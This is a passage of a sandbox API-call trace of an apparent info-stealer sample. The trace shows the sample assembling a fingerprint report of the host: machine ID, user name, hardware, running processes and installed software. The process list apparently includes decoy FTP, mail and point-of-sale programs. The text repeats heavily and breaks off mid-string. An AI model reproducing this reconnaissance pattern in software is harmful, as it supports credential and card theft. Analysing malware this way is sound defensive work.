flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030"
[0054.978] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="11.0.61030.0", lpcbData=0x1816c0*=0xd) returned 0x0
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 